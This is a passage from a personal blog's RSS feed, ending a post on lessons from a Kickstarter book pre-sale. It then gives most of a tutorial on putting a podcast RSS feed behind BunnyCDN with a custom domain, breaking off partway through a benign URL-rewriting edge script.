&lt;p>During the pre-sale, I realized my blog popularity tool would be a good way to attract attention from Hacker News. People who care about the top Hacker News bloggers might also be interested in my book, so I &lt;a href="https://refactoringenglish.com/tools/hn-popularity/">published the tool&lt;/a> on the book&amp;rsquo;s website. To lead visitors to the book, I put a prominent pre-order link in the navigation menu:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/my-6k-advance/popularity-contest.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/popularity-contest_hu_ccc5931d5b0b4c5a.webp 300w, https://mtlynch.io/my-6k-advance/popularity-contest_hu_4830eacb075dc23d.webp 600w, https://mtlynch.io/my-6k-advance/popularity-contest_hu_9ed1adfa4f2b3d9e.webp 800w, https://mtlynch.io/my-6k-advance/popularity-contest_hu_8e6b902553decaf4.webp 1200w, https://mtlynch.io/my-6k-advance/popularity-contest.webp 1304w'
 src="https://mtlynch.io/my-6k-advance/popularity-contest.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>To court attention from Hacker News, I created a tool to &lt;a href="https://refactoringenglish.com/tools/hn-popularity/">rank popular bloggers on Hacker News&lt;/a> and included a pre-order button for my book in the navigation bar.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>My personal blog is one of the top 50 on the list, so I gave myself unique flair to lead readers to my book:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/my-6k-advance/blog-flair.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/blog-flair_hu_b7d5b0ffa22b0158.webp 300w, https://mtlynch.io/my-6k-advance/blog-flair_hu_a9bfeac3b920d8b8.webp 600w, https://mtlynch.io/my-6k-advance/blog-flair_hu_f6ea5aed1d000c18.webp 800w, https://mtlynch.io/my-6k-advance/blog-flair_hu_5e83d489084cf748.webp 1200w, https://mtlynch.io/my-6k-advance/blog-flair.webp 1335w'
 src="https://mtlynch.io/my-6k-advance/blog-flair.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>To make my blog stand out, I gave &lt;a href="https://refactoringenglish.com/tools/hn-popularity/?domain=mtlynch.io">my entry in the list&lt;/a> a little animated image to advertise my book.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Hacker News did &lt;a href="https://news.ycombinator.com/item?id=43474505">get excited about the tool&lt;/a>, and it reached &lt;a href="https://news.ycombinator.com/front?day=2025-03-25">the top 10 of the front page for the day&lt;/a>. &lt;a href="https://en.wikipedia.org/wiki/John_Gruber">John Gruber&lt;/a>, the 5th most popular blogger on Hacker News, &lt;a href="https://daringfireball.net/2025/03/the_website_hacker_news_is_afraid_to_discuss">wrote an article about my tool&lt;/a>.&lt;/p>
&lt;p>Unfortunately, none of that attention translated to pre-orders. Sales were nearly zero over the two days that the blog ranking tool was most popular.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 629px">



 &lt;a href="https://mtlynch.io/my-6k-advance/tool-frontpage.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 629px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/tool-frontpage_hu_f26d2174646ff4ae.webp 300w, https://mtlynch.io/my-6k-advance/tool-frontpage_hu_7e6b328d4d8117be.webp 600w, https://mtlynch.io/my-6k-advance/tool-frontpage.webp 627w'
 src="https://mtlynch.io/my-6k-advance/tool-frontpage.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Getting my blog ranking tool to the front page of Hacker News had no effect on sales.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="what-im-glad-i-did">What I&amp;rsquo;m glad I did&lt;/h2>
&lt;h3 id="ran-the-pre-sale-on-kickstarter">Ran the pre-sale on Kickstarter&lt;/h3>
&lt;p>I&amp;rsquo;d never used Kickstarter before, and I was pleasantly surprised by how smooth and easy the process was.&lt;/p>
&lt;p>I&amp;rsquo;m so jaded by &amp;ldquo;indie creator&amp;rdquo; platforms that hammer me with upsells and use deceptive techniques to squeeze me for money. I kept waiting for Kickstarter to tell me that I had to pay $500 to be &amp;ldquo;featured&amp;rdquo; or some other gotcha at the last minute, but it never happened.&lt;/p>
&lt;p>Kickstarter did what it said it would do. They facilitated the pre-sale and never tried to milk me for money. Throughout the process, I felt like Kickstarter aligned incentives so that they only make money if my project succeeded.&lt;/p>
&lt;p>I was surprised at how many customers discovered my book through Kickstarter itself. Part of Kickstarter&amp;rsquo;s pitch is that they have a community of members interested in funding indie projects, but I didn&amp;rsquo;t expect to find customers that way. According to Kickstarter&amp;rsquo;s metrics, 12% of sales were from people who discovered my book on Kickstarter.&lt;/p>
&lt;p>I have a few quibbles with Kickstarter, but I&amp;rsquo;d still recommend them to anyone interested in a similar project.&lt;/p>
&lt;h3 id="edited-my-sample-chapters-to-work-as-blog-posts">Edited my sample chapters to work as blog posts&lt;/h3>
&lt;p>As I started working on my book, I struggled to choose which chapters to release as free samples. I wanted the samples to read like standalone blog posts rather than out-of-context book chapters. But which of my chapters would work both as book chapters and self-contained blog posts?&lt;/p>
&lt;p>Finally, I realized that there&amp;rsquo;s no rule saying that what I call an &amp;ldquo;excerpt&amp;rdquo; has to 100% match what appears in the book. I could adapt the material however I wanted to fit the medium of a blog post.&lt;/p>
&lt;p>For example, I published &lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">&amp;ldquo;How to Write Blog Posts that Developers Read&amp;rdquo;&lt;/a> as a single article on the book&amp;rsquo;s website, but in the full book, I plan to split that material across several chapters and expand on the ideas.&lt;/p>
&lt;p>I think adapting the material for a blog post worked well. I doubt that my blogging excerpt would have reached as many readers had I presented it exactly as it will appear in the book.&lt;/p>
&lt;h3 id="underpromised-on-rewards">Underpromised on rewards&lt;/h3>
&lt;p>When Tracy Osborn &lt;a href="https://www.kickstarter.com/projects/tracyosborn/hello-web-app-intro-to-building-web-apps-with-djan">ran a pre-sale for her first book&lt;/a>, one of the rewards she offered was home-baked cookies. The fun, personal reward helped her project succeed, but then she &lt;a href="https://hellowebbooks.com/news/reviewing-hello-web-apps-kickstarter-campaign/">felt stressed having to bake and ship hundreds of cookies&lt;/a>.&lt;/p>
&lt;p>I definitely felt the temptation to offer better, more eye-catching rewards during my pre-sale. Especially as sales slowed down, desperation set in, and I wondered &lt;a href="my-secret-weapon.mp4">what I could offer&lt;/a> to reach my $5k goal.&lt;/p>
&lt;p>I considered offering signed prints of the book, but that meant committing to a print run and shipping physical products, which is months of work in itself.&lt;/p>
&lt;p>Looking back, I&amp;rsquo;m relieved that I didn&amp;rsquo;t succumb to desperation. I still feel good about everything I offered and the prices I set.&lt;/p>
&lt;h3 id="didnt-go-overboard-on-a-fancy-kickstarter-promotion">Didn&amp;rsquo;t go overboard on a fancy Kickstarter promotion&lt;/h3>
&lt;p>You can spend infinite time polishing your Kickstarter page. Some projects have slick promotional videos, professional designs, and big-name testimonials that look like they took months to put together.&lt;/p>
&lt;p>I didn&amp;rsquo;t want to do that.&lt;/p>
&lt;p>Honestly, the main reason was that I hate working on marketing stuff. But also, I felt like it was a rational choice because I didn&amp;rsquo;t want to sink weeks of work into an elaborate Kickstarter page before I even knew if anyone wanted this book.&lt;/p>
&lt;p>In total, I spent 5-10 hours creating my Kickstarter project. I had to write a pitch for my book, but I had already done most of that work when I created the book&amp;rsquo;s website.&lt;/p>
&lt;p>I recorded a short intro video because that&amp;rsquo;s what other successful projects seemed to do. It felt like a good way to demonstrate that I&amp;rsquo;m a real person and not a money-stealing AI bot.&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="refactoring-english-intro.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>My intro video for the Kickstarter pre-sale&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;p>The video took me about 90 minutes to make. I wrote a short script, memorized it, and then recorded it about ten times until I captured a take I liked.&lt;/p>
&lt;h2 id="what-i-wish-id-done-differently">What I wish I&amp;rsquo;d done differently&lt;/h2>
&lt;h3 id="offered-an-i-just-want-to-give-you-extra-money-option">Offered an &amp;ldquo;I just want to give you extra money&amp;rdquo; option&lt;/h3>
&lt;p>I recently attended a talk by &lt;a href="https://aaronfrancis.com/">Aaron Francis&lt;/a> about creating educational software videos. He &lt;a href="https://screencasting.com">offers a course&lt;/a> on this topic for $300, but he also sells a premium $1k package that includes a 40-minute 1:1 video call with him.&lt;/p>
&lt;p>After the talk, I asked Aaron if those $1k customers ever pressured him to deliver something unreasonable on those calls or demanded more of his time afterward.&lt;/p>
&lt;p>Surprisingly, Aaron said that he experienced the opposite.&lt;/p>
&lt;p>When customers paid $1k for a private consultation with him, he found that they &amp;ldquo;somewhat want help, somewhat just want to hang out.&amp;rdquo; He sensed that customers viewed the $1k package as a generous tip. &amp;ldquo;It&amp;rsquo;s like I turned the iPad around, and they tipped a thousand dollars.&amp;rdquo;&lt;/p>
&lt;p>I thought about offering a 1:1 call as part of my pre-sale, but I figured that if someone wanted to pay me above my asking price for the book, Kickstarter already offers that option. Or they could buy one of the premium rewards like a personalized writing review.&lt;/p>
&lt;p>In retrospect, I should have offered a 1:1 call for $300-500. A 1:1 call feels different than just paying above the asking price and getting nothing in return, so that might have appealed to some people. It would have been a nice hourly rate for me and would give me valuable feedback from readers.&lt;/p>
&lt;h3 id="started-with-my-most-excerpt-able-material">Started with my most excerpt-able material&lt;/h3>
&lt;p>By the end of the pre-sale, I&amp;rsquo;d published four excerpts from my book: two beforehand and two during.&lt;/p>
&lt;p>Here are the metrics on how well those excerpts did at attracting readers, sorted from earliest to latest published:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Excerpt&lt;/th>
 &lt;th>Unique Readers&lt;/th>
 &lt;th>Hacker News score&lt;/th>
 &lt;th>Lobsters score&lt;/th>
 &lt;th>reddit score&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/rules-for-software-tutorials/">&amp;ldquo;Rules for Writing Software Tutorials&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>24k&lt;/td>
 &lt;td>&lt;a href="https://news.ycombinator.com/item?id=42574641">376&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://lobste.rs/s/7t86dw/rules_for_writing_software_tutorials">27&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://www.reddit.com/r/programming/comments/1hrux0b/rules_for_writing_software_tutorials/">162&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/passive-voice-considered-harmful/">&amp;ldquo;Passive Voice Considered Harmful&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>2.4k&lt;/td>
 &lt;td>-&lt;/td>
 &lt;td>&lt;a href="https://lobste.rs/s/xg2chc/passive_voice_considered_harmful">35&lt;/a>&lt;/td>
 &lt;td>-&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/commit-messages/">&amp;ldquo;How to Write Useful Commit Messages&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>7.3k&lt;/td>
 &lt;td>-&lt;/td>
 &lt;td>&lt;a href="https://lobste.rs/s/usdefp/how_write_useful_commit_messages">12&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://www.reddit.com/r/programming/comments/1j5nvm5/how_to_write_useful_commit_messages/">39&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://refactoringenglish.com/chapters/write-blog-posts-developers-read/">&amp;ldquo;How to Write Blog Posts that Developers Read&amp;rdquo;&lt;/a>&lt;/td>
 &lt;td>30.8k&lt;/td>
 &lt;td>&lt;a href="https://news.ycombinator.com/item?id=43503872">603&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://lobste.rs/s/youq7y/how_write_blog_posts_developers_read">49&lt;/a>&lt;/td>
 &lt;td>&lt;a href="https://www.reddit.com/r/programming/comments/1jl3wgw/how_to_write_blog_posts_that_developers_read/">0&lt;/a>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>With the benefit of hindsight, the best strategy would have been to start with my two most popular excerpts and publish them during the pre-sale. The problem is that I couldn&amp;rsquo;t predict for certain which articles would become my most popular. I actually thought that the two most popular excerpts would be &amp;ldquo;Rules for Writing Software Tutorials&amp;rdquo; and &amp;ldquo;How to Write Useful Commit Messages.&amp;rdquo;&lt;/p>
&lt;p>The thing I was confident about ahead of time was that &amp;ldquo;Passive Voice Considered Harmful&amp;rdquo; would never be a hit. I personally care a lot about it, but I know that an impassioned rant about passive voice will never set the Internet on fire.&lt;/p>
&lt;p>If I had to do this over, I&amp;rsquo;d have queued up two excerpts that I thought would be most popular and released them both during the pre-sale while I worked on the third. I&amp;rsquo;d save less flashy topics like &amp;ldquo;Passive Voice Considered Harmful&amp;rdquo; for after the pre-sale.&lt;/p>
&lt;h3 id="kept-better-track-of-how-customers-found-me">Kept better track of how customers found me&lt;/h3>
&lt;p>Kickstarter can generate custom links to identify how customers found your project, but I never used them.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/my-6k-advance/ks-tags.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/my-6k-advance/ks-tags_hu_d137f092759134b2.webp 300w, https://mtlynch.io/my-6k-advance/ks-tags_hu_192cda6c2691c87e.webp 600w, https://mtlynch.io/my-6k-advance/ks-tags_hu_8e88d8fa14eaefd4.webp 800w, https://mtlynch.io/my-6k-advance/ks-tags.webp 984w'
 src="https://mtlynch.io/my-6k-advance/ks-tags.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Kickstarter allows you to create custom links to identify how customers found your project, but I never used them.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Looking back, the custom links would have provided helpful insight into how customers found me. Without the custom tags, Kickstarter goes by the HTTP referer header, which is not as reliable as custom links.&lt;/p></content:encoded></item><item><title>Don't Marry Your Podcasting Platform: Host Your Own Podcast Feed</title><link>https://mtlynch.io/notes/bunny-podcast-feed/</link><pubDate>Sat, 12 Apr 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/bunny-podcast-feed/</guid><description>&lt;p>Suppose you host your podcast on a platform like Libsyn or Podbean. What happens if you decide to switch podcast platforms? You already gave everyone a RSS URL that pointed to your old platform.&lt;/p>
&lt;p>For example Libsyn gives your podcast an RSS URL like this:&lt;/p>
&lt;ul>
&lt;li>&lt;code>https://feeds.libsyn.com/12345/rss&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>When you submitted your podcast to Apple Podcasts and shared your RSS URL with your listeners, you pointed them directly to your podcast platform.&lt;/p></description><content:encoded>&lt;p>Suppose you host your podcast on a platform like Libsyn or Podbean. What happens if you decide to switch podcast platforms? You already gave everyone a RSS URL that pointed to your old platform.&lt;/p>
&lt;p>For example Libsyn gives your podcast an RSS URL like this:&lt;/p>
&lt;ul>
&lt;li>&lt;code>https://feeds.libsyn.com/12345/rss&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>When you submitted your podcast to Apple Podcasts and shared your RSS URL with your listeners, you pointed them directly to your podcast platform.&lt;/p>
&lt;p>If you move, all of your listeners&amp;rsquo; podcast apps will still be looking for your podcast at your old URL.&lt;/p>
&lt;h2 id="dont-rely-on-redirects">Don&amp;rsquo;t rely on redirects&lt;/h2>
&lt;p>When most podcasts switch platforms, they ask their old platform to set up a redirect. For example, if you&amp;rsquo;re moving from Libsyn to Podbean, you&amp;rsquo;d go to your Libsyn settings and point it to your new podcast URL.&lt;/p>
&lt;p>That way, any time a listener tries to access your old Libsyn RSS URL, Libsyn tells them that you&amp;rsquo;ve moved.&lt;/p>
&lt;p>There are two problems with this strategy:&lt;/p>
&lt;ol>
&lt;li>Not all podcast players will update their URL when they see a redirect, so they&amp;rsquo;ll keep checking your old feed forever.&lt;/li>
&lt;li>There&amp;rsquo;s no guarantee that your old podcast host will keep providing redirects for you.&lt;/li>
&lt;/ol>
&lt;p>(2) is especially significant. If you&amp;rsquo;re a podcast hosting platform, why do you want to offer a feature that helps customers &lt;em>leave&lt;/em> your platform? If that platform starts to get desperate to stay in business, redirects are likely one of the first features they&amp;rsquo;d eliminate.&lt;/p>
&lt;p>So, what do you do? You need to give your listeners a URL to your podcast, so how do you avoid this problem?&lt;/p>
&lt;h2 id="host-your-own-rss-feed">Host your own RSS feed&lt;/h2>
&lt;p>A podcasting platform actually hosts two separate services, though they seem like they&amp;rsquo;re the same thing.&lt;/p>
&lt;p>When you host a podcast with Libsyn or Podbean, they&amp;rsquo;re actually hosting two different types of files for you:&lt;/p>
&lt;ol>
&lt;li>Your audio/video recordings&lt;/li>
&lt;li>Your podcast&amp;rsquo;s RSS feed, which is an index of all of your recordings&lt;/li>
&lt;/ol>
&lt;p>But the two services are actually completely independent. If you want to, you can host them from two separate vendors, and everything works fine. And this is actually what I do and what I recommend other podcast owners do.&lt;/p>
&lt;p>Neither service is technically very difficult, but service (2) is extremely inexpensive to do.&lt;/p>
&lt;p>Podcast recordings are generally large files of anywhere from 50 MB to 5 GB, depending on length, quality, and whether there&amp;rsquo;s video. But podcast RSS feeds are tiny, generally less than 1 MB. In hosting costs, you&amp;rsquo;d pay about a penny for every 10,000 times your listeners check your podcast feed.&lt;/p>
&lt;p>You can host your RSS feed simply and inexpensively by setting up a CDN in front of your podcast provider. The CDN will only be responsible for serving your RSS feed. Podcast players will still retrieve the large audio/video files directly from your podcast provider.&lt;/p>
&lt;p>&lt;img src="rss-diagram.svg" alt="feed">&lt;/p>
&lt;h2 id="only-distribute-your-own-custom-domain-name">Only distribute your own custom domain name&lt;/h2>
&lt;p>When you distribute a URL like &lt;code>https://feeds.libsyn.com/12345/rss&lt;/code> to your listeners and podcast directories, you&amp;rsquo;re married to Libsyn (or whoever your hosting provider is).&lt;/p>
&lt;p>Instead, you should only distribute an RSS URL for a domain name that you own.&lt;/p>
&lt;p>For example, if your podcast is called &amp;ldquo;My Awesome Dinosaur Podcast,&amp;rdquo; then you can register this domain name for your show:&lt;/p>
&lt;ul>
&lt;li>myawesomedinosaurpodcast.com&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: I&amp;rsquo;m not going to explain how to purchase a domain name, as that&amp;rsquo;s out of scope, but any domain name provider will be fine. I personally like DNSimple.
&lt;/div>

&lt;p>When you give out your podcast feed to listeners and podcast directories, it will be:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://feeds.myawesomedinosaurpodcast.com">https://feeds.myawesomedinosaurpodcast.com&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>If you switch podcast hosts, your listeners will never have to do anything as they&amp;rsquo;ll still listen from your same &lt;code>feeds.myawesomedinosaurpodcast.com&lt;/code> URL. They&amp;rsquo;ve never seen any Libsyn or Podbean URL at all.&lt;/p>
&lt;h2 id="hosting-your-own-rss-feed">Hosting your own RSS feed&lt;/h2>
&lt;p>For this example, I&amp;rsquo;m going to use these example values:&lt;/p>
&lt;ul>
&lt;li>&lt;code>https://feeds.libsyn.com/12345/rss&lt;/code>: The RSS feed your podcast host told you to use.&lt;/li>
&lt;li>&lt;code>https://feeds.myawesomedinosaurpodcast.com&lt;/code>: The actual URL you&amp;rsquo;ll use instead.&lt;/li>
&lt;/ul>
&lt;h3 id="create-a-bunnycdn-account">Create a BunnyCDN account&lt;/h3>
&lt;p>First, create an account with &lt;a href="https://bunny.net">BunnyCDN&lt;/a>.&lt;/p>
&lt;p>You can use any CDN for this, but I like Bunny as they&amp;rsquo;re simple and inexpensive.&lt;/p>
&lt;h3 id="add-a-pull-zone">Add a Pull Zone&lt;/h3>
&lt;p>From your Bunny account, go to CDN &amp;gt; Add Pull Zone.&lt;/p>
&lt;p>Give your Pull Zone a name. It doesn&amp;rsquo;t matter what name. For this example, I&amp;rsquo;m using the name &lt;code>example12345&lt;/code>.&lt;/p>
&lt;p>Under Origin Type, select &amp;ldquo;Origin URL&amp;rdquo; and enter your vendor&amp;rsquo;s podcast&amp;rsquo;s RSS URL:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 702px">



 &lt;a href="https://mtlynch.io/notes/bunny-podcast-feed/origin.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 702px, 98vw"
 srcset='https://mtlynch.io/notes/bunny-podcast-feed/origin_hu_ecedacf3d72c9320.webp 300w, https://mtlynch.io/notes/bunny-podcast-feed/origin_hu_576b0265ed548c9f.webp 600w, https://mtlynch.io/notes/bunny-podcast-feed/origin.webp 700w'
 src="https://mtlynch.io/notes/bunny-podcast-feed/origin.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Choose &amp;ldquo;Standard Tier.&amp;rdquo;&lt;/p>
&lt;p>Under &amp;ldquo;Pricing Zones,&amp;rdquo; just choose the cheapest option and unselect the rest. It doesn&amp;rsquo;t matter if your RSS feed is super fast in every region, as it has no effect on listener experience.&lt;/p>
&lt;p>Finally, click &amp;ldquo;Add Pull Zone.&amp;rdquo;&lt;/p>
&lt;h3 id="testing-your-url">Testing your URL&lt;/h3>
&lt;p>When Bunny creates your Pull Zone, try visiting the URL &lt;code>b-cdn.net&lt;/code> URL it created at the top:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1157px">



 &lt;a href="https://mtlynch.io/notes/bunny-podcast-feed/url.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 1157px, 98vw"
 srcset='https://mtlynch.io/notes/bunny-podcast-feed/url_hu_7e8a2944bc9a082d.webp 300w, https://mtlynch.io/notes/bunny-podcast-feed/url_hu_7ffae81e4b72b22b.webp 600w, https://mtlynch.io/notes/bunny-podcast-feed/url_hu_c6368da4d2aff6ed.webp 800w, https://mtlynch.io/notes/bunny-podcast-feed/url.webp 1155w'
 src="https://mtlynch.io/notes/bunny-podcast-feed/url.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If this worked, you should see your podcast&amp;rsquo;s RSS feed when you visit that link (your browser may download the file automatically).&lt;/p>
&lt;p>If everything is working, you&amp;rsquo;re through the hard part. You just have to set up your custom domain name.&lt;/p>
&lt;h3 id="linking-your-custom-domain">Linking your custom domain&lt;/h3>
&lt;p>From the pull zone you created, go to General &amp;gt; Hostnames.&lt;/p>
&lt;p>Enter your podcast&amp;rsquo;s domain like:&lt;/p>
&lt;ul>
&lt;li>&lt;code>feeds.myawesomedinosaurpodcast.com&lt;/code>&lt;/li>
&lt;/ul>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: The subdomain doesn&amp;rsquo;t strictly have to be &lt;code>feeds&lt;/code>. It can be anything you want, but I find that &lt;code>feeds&lt;/code> is a useful convention.
&lt;/div>

&lt;p>Bunny will give you a DNS record that you need to activate on your domain registrar&amp;rsquo;s side.&lt;/p>













 








 
 
 







&lt;div class="img" style="max-width: 452px">



 &lt;a href="https://mtlynch.io/notes/bunny-podcast-feed/cname.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 452px, 98vw"
 srcset='https://mtlynch.io/notes/bunny-podcast-feed/cname_hu_d540a09aebe6ee91.png 300w, https://mtlynch.io/notes/bunny-podcast-feed/cname.png 450w'
 src="https://mtlynch.io/notes/bunny-podcast-feed/cname.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Go back to where you registered your domain, and add the DNS entry that Bunny showed you.&lt;/p>
&lt;p>When you&amp;rsquo;ve finished adding the CNAME record to your domain registrar, come back to the Bunny screen, and click &amp;ldquo;Verify &amp;amp; Activate SSL.&amp;rdquo;&lt;/p>
&lt;h3 id="override-caching">Override caching&lt;/h3>
&lt;p>Bunny (and all CDNs) aggressively cache data. They&amp;rsquo;re designed to lighten the load on other servers, so Bunny, by default, only checks the &amp;ldquo;Origin URL&amp;rdquo; (your podcast provider) occasionally for updates.&lt;/p>
&lt;p>This can get in the way of your listeners getting timely updates. You don&amp;rsquo;t want to update your podcast and then have nobody see it for a day or two because Bunny is serving an old copy.&lt;/p>
&lt;p>You can prevent Bunny from serving stale copies of your podcast feed by going to your pull zone and going to Caching &amp;gt; General.&lt;/p>
&lt;p>Change &amp;ldquo;Cache Expiration Time&amp;rdquo; to &amp;ldquo;Override: 20 minutes.&amp;rdquo;&lt;/p>
&lt;p>That tells Bunny to only store a copy of your podcast&amp;rsquo;s feed for a maximum of 20 minutes. You can dial this up or down depending on your preference.&lt;/p>
&lt;p>I recommend against &amp;ldquo;Do not cache.&amp;rdquo; If you have a popular podcast where hundreds of listeners might check your feed at once, that would cause Bunny to send your podcast provider hundreds of requests at once, which might cause your podcast provider to block requests from Bunny, which would cause your listeners to see an error message.&lt;/p>
&lt;h3 id="replace-the-canonical-url">Replace the canonical URL&lt;/h3>
&lt;p>One subtlety of the RSS feed is that it contains a &lt;code>self&lt;/code> tag that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">&amp;lt;atom:link&lt;/span> &lt;span style="color:#bbb">href=&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;https://feeds.libsyn.com/12345/rss&amp;#34;&lt;/span> &lt;span style="color:#bbb">rel=&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;self&amp;#34;&lt;/span> &lt;span style="color:#bbb">type=&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;application/rss+xml&amp;#34;&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Even if you distribute your &lt;code>https://feeds.myawesomedinosaurpodcast.com&lt;/code> URL, some podcast players will prefer the &lt;code>self&lt;/code> tag to the original URL, which would bypass your CDN-hosted version.&lt;/p>
&lt;p>To prevent this, you&amp;rsquo;ll need to use a custom Bunny edge script.&lt;/p>
&lt;ol>
&lt;li>Go to Edge Platfrom &amp;gt; Scripting and click &amp;ldquo;Add Script.&amp;rdquo;&lt;/li>
&lt;li>Choose &amp;ldquo;Deploy and edit on Bunny.net&amp;rdquo;&lt;/li>
&lt;li>Name the script &amp;ldquo;Replace RSS self tag&amp;rdquo;&lt;/li>
&lt;li>Change the Type to &amp;ldquo;Middleware&amp;rdquo;&lt;/li>
&lt;li>Click &amp;ldquo;Add Script&amp;rdquo;&lt;/li>
&lt;li>In the code editor, enter the following code:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span> * as BunnySDK from &lt;span style="color:#ed9d13">&amp;#34;https://esm.sh/@bunny.net/edgescript-sdk@0.11.2&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Replace with the vendor-specific URL to your RSS feed.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> SOURCE_URL = &lt;span style="color:#ed9d13">&amp;#34;https://feeds.libsyn.com/12345/rss&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Replace with the domain name that you own.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">const&lt;/span> TARGET_URL = &lt;span style="color:#ed9d13">&amp;#34;https://feeds.myawesomedinosaurpodcast.com&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">/**
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"> * Modifies the response from the origin to replace a specific URL.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"> *
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"> * @param {Context} context - The context of the middleware.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"> * @param {Request} request - The current request done to the origin.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"> * @param {Response} response - The HTTP response or string.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"> */&lt;/span>
